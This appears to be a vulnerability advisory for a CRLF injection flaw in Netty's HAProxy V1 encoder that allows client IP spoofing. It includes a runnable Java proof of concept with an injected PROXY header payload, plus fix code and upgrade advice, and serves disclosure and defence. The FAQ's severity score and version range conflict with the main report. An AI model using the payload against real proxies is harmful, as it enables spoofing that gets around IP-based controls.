CVE-2026-59919: Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AFUNIX Address in Netty
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-haproxy) | | Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences | | Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
2. Affected Components
- io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation - io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AFUNIX (line 439)
3. Vulnerability Description
Netty's HAProxy protocol encoder writes AFUNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause — Encoder
java // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXTPREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), USASCII); // "UNIXSTREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), USASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); out.writeCharSequence(msg.destinationAddress(), USASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); // ... out.writeByte((byte) '\r'); out.writeByte((byte) '\n'); }
Root Cause — Insufficient Address Validation
java // HAProxyMessage.java:428-442 private static void checkAddress(String address, AddressFamily addrFamily) { switch (addrFamily) { case AFUNIX: ObjectUtil.checkNotNull(address, "address"); if (address.getBytes(CharsetUtil.USASCII).length > 108) { throw new IllegalArgumentException("invalid AFUNIX address: " + address); } return; // ONLY checks length <= 108, NO CRLF validation! case AFIPv4: if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF case AFIPv6: if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF } }
IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AFUNIX addresses only check length <= 108 — any characters including CRLF are accepted.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers 2. AFUNIX (UNIXSTREAM or UNIXDGRAM) addresses contain user-controlled input 3. The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases: - PROXY protocol relays that construct AFUNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers
5. Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
java String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIXSTREAM, maliciousAddr, // CRLF-injected source address "/var/run/dest.sock", 0, 0);
Wire format sent to backend: PROXY UNIXSTREAM /var/run/app.sock PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0
The backend receives two PROXY lines. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1 - This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not
6. Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.haproxy.; import java.nio.charset.StandardCharsets;
public class HAProxyUnixCRLFPoC { public static void main(String[] args) { System.out.println("=== Netty HAProxy AFUNIX CRLF Injection PoC ===\n");
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; String destAddr = "/var/run/dest.sock";
HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIXSTREAM, maliciousAddr, destAddr, 0, 0);
EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE); ch.writeOutbound(msg);
ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();
System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); }
int proxyCount = 0; for (String line : encoded.split("\r\n")) { if (line.startsWith("PROXY")) proxyCount++; } System.out.println("PROXY lines: " + proxyCount); System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO")); } }
How to Compile and Run
bash JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HAProxy AFUNIX CRLF Injection PoC ===
[TEST 1] AFUNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIXSTREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected!
7. Remediation Recommendations
Option 1: Validate AFUNIX Addresses for CRLF
java // HAProxyMessage.java checkAddress() - add for AFUNIX: case AFUNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.USASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AFUNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AFUNIX address contains prohibited CRLF character"); } } return;
Option 2: Validate in Encoder
java // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } }
8. References
- HAProxy PROXY Protocol v1 Specification - CWE-93: Improper Neutralization of CRLF Sequences - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
Other sources
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AFUNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AFUNIX address can inject \r\n sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AFUNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codec-haproxyto a version that resolves this vulnerability.Fixed in 4.1.136.Final - Upgrade
Upgrade
maven/io.netty:netty-codec-haproxyto a version that resolves this vulnerability.Fixed in 4.2.16.Final - Upgrade
Upgrade
io.netty:netty-codec-haproxyto a version that resolves this vulnerability.Fixed in 4.1.136.Final - Upgrade
Upgrade
io.netty:netty-codec-haproxyto a version that resolves this vulnerability.Fixed in 4.2.16.Final
Event History
Frequently Asked Questions
What is the severity of CVE-2026-59919?
The severity of CVE-2026-59919 is medium, with a score of 5.5.
How do I fix CVE-2026-59919?
To fix CVE-2026-59919, upgrade to Netty version 4.2.16.Final or later.
What type of vulnerability is CVE-2026-59919?
CVE-2026-59919 is a CRLF Injection vulnerability that can lead to command injection.
Which versions of Netty are affected by CVE-2026-59919?
CVE-2026-59919 affects Netty versions 4.2.12.Final and all prior versions with codec-haproxy.
What components are involved in CVE-2026-59919?
CVE-2026-59919 involves the Netty codec for HAProxy.